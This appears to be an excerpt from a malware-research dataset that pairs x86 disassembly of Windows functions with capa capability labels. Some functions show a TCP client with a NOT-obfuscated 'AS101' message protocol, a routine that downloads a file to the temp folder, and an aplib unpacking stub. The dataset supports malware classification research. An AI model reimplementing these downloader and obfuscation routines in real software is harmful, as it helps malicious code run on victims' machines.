joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4039a3
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 0x424], ecx
call fcn.00403acf
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x403ac0
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00407fe0
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.00407fe0
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x416ef0
mov ebx, edi
cmp word [ebx], 0
je 0x403a55
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.0040470b
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.00404696
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x417468
jl 0x403a27
cmp word [edi], 0
je 0x403a7b
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x424]
call fcn.00404343
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x417468
jl 0x403a63
push 0x417c78
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.00404696
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403aba
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404687
leave
ret

Function at 0x403d04
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b0
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x80c]
cmp ecx, ebx
je 0x403d26
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9ac]
push eax
push 0x101
mov dword [ebp - 0x9b0], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403d4e
xor eax, eax
jmp 0x403de0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403d47
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403d8e
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b0], eax
push 4
lea eax, [ebp - 0x9b0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403dcf
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x818], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403dcf
xor ebx, ebx
inc ebx
jmp 0x403dde
mov eax, dword [esi]
test eax, eax
je 0x403dde
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop ebx
call fcn.00404687
leave
ret
Function at 0x403f39
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403fb5
push esi
mov esi, dword [ebp + 0x10]
push edi
cmp esi, ecx
jle 0x403f5f
mov eax, dword [ebp + 0xc]
not byte [eax + ecx]
inc ecx
cmp ecx, esi
jl 0x403f54
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.0040574e
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00408b50
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403fb8
cmp eax, dword [ebp - 4]
jne 0x403fb8
mov dword [ebp - 8], 1
jmp 0x403fb8
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403fc3
push ebx
call fcn.00405b27
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x4041c8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8e0
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x8e0], eax
mov dword [ebp - 0x8dc], ecx
mov dword [ebp - 0x8d8], edi
lea eax, [ebp - 0x8cc]
cmp edx, ebx
je 0x404204
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x8d4], ebx
cmp esi, ebx
je 0x40432e
cmp edi, ebx
je 0x40432e
push 0xc7
lea eax, [ebp - 0xcb]
push ebx
push eax
mov byte [ebp - 0xcc], dl
call fcn.00407fe0
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0xcc]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x40432e
cmp eax, ebx
je 0x40432e
movzx edi, word [ebp - 0xcc]
lea eax, [edi + 2]
push eax
call fcn.0040574e
pop ecx
mov dword [ebp - 0x8d0], eax
test edi, edi
jle 0x404319
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x8d0]
add eax, ebx
push eax
mov eax, dword [ebp - 0x8dc]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x4042f7
test eax, eax
je 0x4042f7
add ebx, eax
cmp edi, ebx
jg 0x40427f
push 5
pop ecx
cmp ebx, ecx
jl 0x404319
mov edi, dword [ebp - 0x8d0]
sub ebx, ecx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x404319
mov ecx, dword [ebp - 0x8d0]
test ebx, ebx
jle 0x4042d7
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x4042d1
mov esi, dword [ebp - 0x8e0]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x4042ff
push ebx
push ecx
push dword [ebp - 0x8d8]
call fcn.00408b50
mov dword [esi], ebx
jmp 0x40430c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x404319
push eax
push ecx
push dword [ebp - 0x8d8]
call fcn.00408b50
add esp, 0xc
mov dword [ebp - 0x8d4], 1
cmp dword [ebp - 0x8d0], 0
je 0x40432e
push dword [ebp - 0x8d0]
call fcn.00405b27
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x8d4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404687
leave
ret
Function at 0x404343
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe2c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x400
mov dword [ebp - 0xe28], eax
lea eax, [ebp - 0x610]
push 0
push eax
mov ebx, ecx
call fcn.00407fe0
add esp, 0xc
push ebx
lea eax, [ebp - 0x610]
push 0x1ff
push eax
call fcn.0040470b
mov eax, ebx
add esp, 0xc
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x404394
sub eax, ecx
sar eax, 1
lea edi, [ebp + eax*2 - 0x60e]
mov ecx, 0x80
mov esi, 0x417a78
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x4043bb
sub eax, ecx
sar eax, 1
mov esi, 0x10000
push esi
lea ebx, [eax + eax + 0x202]
call fcn.004051cd
pop ecx
push esi
xor edi, edi
push edi
push eax
mov dword [ebp - 0xe1c], eax
call fcn.00407fe0
add esp, 0xc
xor eax, eax
push 0x7fe
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push edi
push eax
mov dword [ebp - 0xe24], esi
call fcn.00407fe0
add esp, 0xc
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push edi
push eax
mov dword [ebp - 0xe18], edi
mov dword [ebp - 0xe20], edi
mov dword [ebp - 0xe14], edi
call fcn.00407fe0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push dword [ebp + 0xc]
mov edi, dword [ebp - 0xe28]
lea ecx, [ebp - 0xe10]
lea esi, [ebp - 0xe18]
call fcn.00403d04
pop ecx
test eax, eax
je 0x40454b
push ebx
lea eax, [ebp - 0x610]
push eax
mov esi, 0xbba
push esi
lea ecx, [ebp - 0xe10]
lea edx, [ebp - 0xe18]
call fcn.00403ded
add esp, 0xc
test eax, eax
je 0x40454b
push dword [ebp - 0xe1c]
lea eax, [ebp - 0xe14]
push eax
lea edx, [ebp - 0xe10]
lea ebx, [ebp - 0xe24]
lea ecx, [ebp - 0xe18]
call fcn.00403fc9
pop ecx
pop ecx
test eax, eax
je 0x40454b
cmp word [ebp - 0xe14], si
jne 0x40454b
cmp dword [ebp - 0xe24], 0
je 0x40454b
mov eax, dword [ebp - 0xe1c]
cmp byte [eax], 0
jne 0x40454b
push 0x417c78
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404696
and dword [ebp - 0xe14], 0
add esp, 0xc
push 0x4135fc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0xe14]
push eax
call fcn.004049b8
add esp, 0xc
cmp dword [ebp - 0xe14], 0
je 0x404541
lea eax, [ebp - 0xe14]
push eax
lea edi, [ebp - 0xe18]
call fcn.0040458a
pop ecx
mov dword [ebp - 0xe20], 1
cmp dword [ebp - 0xe1c], 0
je 0x404560
push dword [ebp - 0xe1c]
call fcn.00405261
pop ecx
cmp dword [ebp - 0xe18], 0
je 0x404575
push dword [ebp - 0xe18]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe20]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404687
leave
ret
Function at 0x40458a
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040dc50
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x100c], eax
push 4
lea eax, [ebp - 0x1008]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x4045cb
xor eax, eax
jmp 0x40462e
cmp dword [ebp - 0x1008], ebx
jbe 0x404617
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x1010], eax
test eax, eax
je 0x404617
mov ecx, dword [ebp - 0x100c]
push dword [ecx]
push eax
lea eax, [ebp - 0x1004]
push 1
push eax
call fcn.00404e9e
add ebx, dword [ebp - 0x1010]
add esp, 0x10
cmp ebx, dword [ebp - 0x1008]
jb 0x4045d3
mov eax, dword [ebp - 0x100c]
push dword [eax]
call fcn.00404cd3
cmp ebx, dword [ebp - 0x1008]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00404687
leave
ret

Function at 0x404687
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415048]
jne 0x404691
repz ret
jmp fcn.00405e0e
Function at 0x40dfeb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409b53
and dword [ebp - 0x14], 0
cmp dword [0x416cac], 0
mov dword [ebp - 0x18], eax
jne 0x40e09e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e146
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40e146
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x416cac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x416cb0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x416cb4], eax
call edi
push eax
call esi
mov dword [0x416cbc], eax
test eax, eax
je 0x40e09e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x416cb8], eax
mov eax, dword [0x416cb8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40e0f7
cmp dword [0x416cbc], ecx
je 0x40e0f7
push eax
call esi
push dword [0x416cbc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e0f7
test ebx, ebx
je 0x40e0f7
call edi
test eax, eax
je 0x40e0ee
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e0ee
test byte [ebp - 8], 1
jne 0x40e0f7
or dword [ebp + 0x10], 0x200000
jmp 0x40e12a
mov eax, dword [0x416cb0]
cmp eax, dword [ebp - 0x18]
je 0x40e12a
push eax
call esi
test eax, eax
je 0x40e12a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e12a
mov eax, dword [0x416cb4]
cmp eax, dword [ebp - 0x18]
je 0x40e12a
push eax
call esi
test eax, eax
je 0x40e12a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x416cac]
call esi
test eax, eax
je 0x40e146
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e148
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404687
leave
ret
Function at 0x863058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8631a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x86307e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x86306a
add dl, dl
jne 0x863089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8630dc
xor eax, eax
add dl, dl
jne 0x863096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x86317d
add dl, dl
jne 0x8630a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8630b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8630bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8630c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8630d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x863075
mov eax, 1
add dl, dl
jne 0x8630ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8630f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8630e1
sub eax, ebx
mov ebx, 1
jne 0x863128
mov ecx, 1
add dl, dl
jne 0x86310e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x863119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x863105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x863075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x86313f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x86314a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x863136
cmp eax, 0x7d00
jae 0x86316d
cmp eax, 0x500
jb 0x863168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x863075
cmp eax, 0x7f
ja 0x863170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x863075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x86319e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x863075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401a60
Capabilities:
Get common file path

Disassembly:
sub esp, 0x414
mov eax, dword [0x4275b4]
xor eax, esp
mov dword [esp + 0x410], eax
push ebp
mov ebp, dword [esp + 0x41c]
push esi
call dword [0x427594]
mov esi, dword [0x419064]
push 0x4275d8
call esi
test eax, eax
jg 0x401b89
push 0x40e
lea eax, [esp + 0xe]
push 0
push eax
mov word [esp + 0x14], 0
call fcn.00416322
add esp, 0xc
push 1
push 0x1a
lea ecx, [esp + 0x10]
push ecx
push 0
call dword [0x419358]
test eax, eax
je 0x401baf
lea edx, [esp + 8]
push edx
call esi
movzx ecx, word [esp + eax*2 + 6]
cmp cx, 0x5c
je 0x401af2
cmp cx, 0x2f
je 0x401af2
mov word [esp + eax*2 + 8], 0x5c
mov word [esp + eax*2 + 0xa], 0
cmp byte [esp + 0x424], 0
mov esi, dword [0x41930c]
je 0x401b70
push edi
lea eax, [esp + 0xc]
push eax
push str._sTencent
push 0x207
push 0x4275d8
call esi
mov edi, dword [0x419060]
add esp, 0x10
push 0
push 0x4275d8
call edi
lea ecx, [esp + 0xc]
push ecx
push str._sTencentQQMusic
push 0x207
push 0x4275d8
call esi
add esp, 0x10
push 0
push 0x4275d8
call edi
lea edx, [esp + 0xc]
push edx
push str._sTencentQQMusicComData
push 0x207
push 0x4275d8
call esi
add esp, 0x10
push 0
push 0x4275d8
call edi
pop edi
lea eax, [esp + 8]
push eax
push str._sTencentQQMusicComDataqmcomdata.ini
push 0x207
push 0x4275d8
call esi
add esp, 0x10
push 0x4275d8
mov ecx, ebp
call dword [0x419204]
pop esi
mov al, 1
pop ebp
mov ecx, dword [esp + 0x410]
xor ecx, esp
call fcn.0041632e
add esp, 0x414
ret
mov ecx, dword [esp + 0x418]
pop esi
pop ebp
xor ecx, esp
xor al, al
call fcn.0041632e
add esp, 0x414
ret
Function at 0x406550
Capabilities:
Check if file exists

Disassembly:
cmp byte [esp + 8], 0
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov ebx, ecx
mov edi, closesocket
mov esi, 3
jne 0x40658c
cmp byte [esp + 0x1c], 0
mov edi, 0x40000000
mov esi, 4
je 0x40658c
push ebp
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40658c
mov esi, 5
test ebp, ebp
je 0x4065b8
cmp dword [ebx], 0xffffffff
jne 0x4065b8
push 0
push 0x80
push esi
push 0
push 1
push edi
push ebp
call dword [0x419088]
pop edi
pop esi
mov dword [ebx], eax
cmp eax, 0xffffffff
pop ebp
setne al
pop ebx
ret 0xc
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret 0xc

Function at 0x4068a0
Capabilities:
Query or enumerate registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi]
add eax, eax
lea edx, [esp + 0x14]
push edx
mov edx, dword [esp + 0x10]
push esi
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x18]
push eax
push 0
mov dword [edi], 0
mov eax, dword [ecx]
push edx
push eax
call dword [0x419004]
test eax, eax
jne 0x406916
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x4068e5
cmp eax, 2
jne 0x406901
test esi, esi
mov eax, dword [esp + 0x14]
je 0x406910
test eax, eax
je 0x40690b
test al, 1
jne 0x406901
mov ecx, eax
shr ecx, 1
cmp word [esi + ecx*2 - 2], 0
je 0x406910
pop edi
mov eax, 0xd
pop esi
ret 0xc
mov word [esi], 0
shr eax, 1
mov dword [edi], eax
xor eax, eax
pop edi
pop esi
ret 0xc

Function at 0x407160
Capabilities:
Create thread

Disassembly:
push ecx
push esi
mov esi, ecx
cmp dword [esi + 8], 0
jne 0x4071e3
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4071e3
cmp dword [esi + 4], 0
je 0x4071e3
cmp dword [esi + 0x10], 0
je 0x4071e3
push edi
mov edi, dword [0x4190c4]
push eax
call edi
mov eax, dword [esi + 4]
push eax
call edi
mov ecx, dword [esi + 0x10]
push ecx
call edi
lea edx, [esp + 8]
push edx
push 0
push esi
push 0x406bf0
push 0
push 0
mov dword [esp + 0x20], 0
call dword [0x419264]
add esp, 0x18
test eax, eax
jne 0x4071bf
pop edi
xor al, al
pop esi
pop ecx
ret
push ebx
mov dword [esi + 8], eax
mov eax, dword [esi + 0xc]
push 0xffffffffffffffff
push eax
call dword [0x4190c0]
mov ecx, dword [esi + 0xc]
push ecx
mov ebx, eax
call edi
xor eax, eax
test ebx, ebx
pop ebx
pop edi
sete al
pop esi
pop ecx
ret
xor al, al
pop esi
pop ecx
ret
Function at 0x409130
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x41794b
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x4275b4]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov eax, dword [0x4275b4]
xor eax, esp
push eax
lea eax, [esp + 0x218]
mov dword fs:[0], eax
mov esi, dword [esp + 0x228]
push 0x206
lea eax, [esp + 0x12]
push 0
mov dword [esp + 0x10], 0
push eax
mov word [esp + 0x18], 0
call fcn.00416322
add esp, 0xc
push 0
push 0x1a
lea ecx, [esp + 0x14]
push ecx
push 0
call dword [0x419358]
test eax, eax
jne 0x4091b5
push 0x419f30
mov ecx, esi
call fcn.00408d70
jmp 0x409208
lea edx, [esp + 0xc]
push edx
lea ecx, [esp + 0xc]
call fcn.00408d70
push str.TencentQQMusic_
push eax
push esi
mov dword [esp + 0x22c], 0
call fcn.00407e70
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
add esp, 0xc
mov dword [esp + 0x220], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x409208
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [esp + 0x218]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0041632e
add esp, 0x21c
ret
Function at 0x40d5c0
Capabilities:
Parse url

Disassembly:
sub esp, 0x3c
push esi
push 0x3c
lea eax, [esp + 8]
push 0
push eax
call fcn.00416322
mov ecx, dword [esp + 0x54]
mov edx, dword [esp + 0x58]
mov esi, dword [esp + 0x50]
add esp, 0xc
lea eax, [esp + 4]
push eax
push 0x10000000
push esi
mov dword [esp + 0x10], 0x3c
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], edx
call dword [0x4190f4]
push eax
push esi
call dword [0x4193dc]
neg eax
sbb eax, eax
neg eax
pop esi
add esp, 0x3c
ret 0xc

Function at 0x40d620
Capabilities:
Parse url

Disassembly:
sub esp, 0x80
mov eax, dword [0x4275b4]
xor eax, esp
mov dword [esp + 0x7c], eax
push esi
mov esi, dword [esp + 0x88]
push 0x3c
lea eax, [esp + 8]
push 0
push eax
call fcn.00416322
add esp, 0xc
lea edx, [esp + 4]
push edx
push 0x10000000
lea ecx, [esp + 0x48]
push esi
mov dword [esp + 0x10], 0x3c
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], 0x40
call dword [0x4190f4]
push eax
push esi
call dword [0x4193dc]
test eax, eax
pop esi
je 0x40d698
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x7c]
xor ecx, esp
call fcn.0041632e
add esp, 0x80
ret 4
mov ecx, dword [esp + 0x7c]
xor ecx, esp
or eax, 0xffffffff
call fcn.0041632e
add esp, 0x80
ret 4

Function at 0x40e600
Capabilities:
Check if file exists

Disassembly:
push 0xffffffffffffffff
push 0x416f59
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x4275b4]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
mov eax, dword [0x4275b4]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
lea ecx, [esp + 8]
call dword [0x419200]
lea ebx, [esp + 8]
mov dword [esp + 0x30], 0
call fcn.00407340
mov ecx, ebx
call dword [0x419228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov ecx, ebx
je 0x40e671
mov dword [esp + 0x30], 0xffffffff
call dword [0x419218]
xor eax, eax
jmp 0x40e6a2
call dword [0x419228]
push eax
push str.CQQMusicCreator___QQMusic.exe_is_not_exist_:__s
push str.QMControl.txt
call dword [0x419350]
add esp, 0xc
lea ecx, [esp + 8]
mov dword [esp + 0x30], 0xffffffff
call dword [0x419218]
mov eax, 0x80004005
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0041632e
add esp, 0x2c
ret
Function at 0x4136c0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x21c
mov eax, dword [0x4275b4]
xor eax, esp
mov dword [esp + 0x218], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x22c]
mov ebp, ecx
mov eax, dword [ebp]
lea ecx, [esp + 0x14]
push ecx
push 0x2001f
push 0
push edi
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x20], 0
mov dword [esp + 0x28], 0
call dword [section..rdata]
mov ecx, dword [esp + 0xc]
mov esi, eax
test esi, esi
jne 0x41372e
test ecx, ecx
je 0x413720
push ecx
call dword [0x419018]
test eax, eax
mov ecx, dword [esp + 0x14]
mov esi, eax
mov dword [esp + 0xc], ecx
je 0x41373c
test ecx, ecx
je 0x4137e1
push ecx
jmp 0x4137db
mov esi, dword [0x419014]
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
lea edx, [esp + 0x38]
push edx
push 0
push ecx
mov dword [esp + 0x30], pe_nt_image_headers32
call esi
test eax, eax
jne 0x4137ae
jmp 0x413770
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x10]
call fcn.004136c0
mov edi, eax
test edi, edi
jne 0x4137fd
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x10]
push eax
push eax
push eax
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x38]
push eax
push edi
push ecx
mov dword [esp + 0x30], pe_nt_image_headers32
call esi
test eax, eax
je 0x413770
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4137c5
push eax
call dword [0x419018]
mov dword [esp + 0xc], 0
mov edx, dword [ebp]
push edi
push edx
call dword [0x419008]
mov esi, eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4137e1
push eax
call dword [0x419018]
mov eax, esi
mov ecx, dword [esp + 0x224]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0041632e
add esp, 0x21c
ret 4
mov eax, dword [esp + 0xc]
test eax, eax
je 0x41380c
push eax
call dword [0x419018]
mov eax, edi
jmp 0x4137e3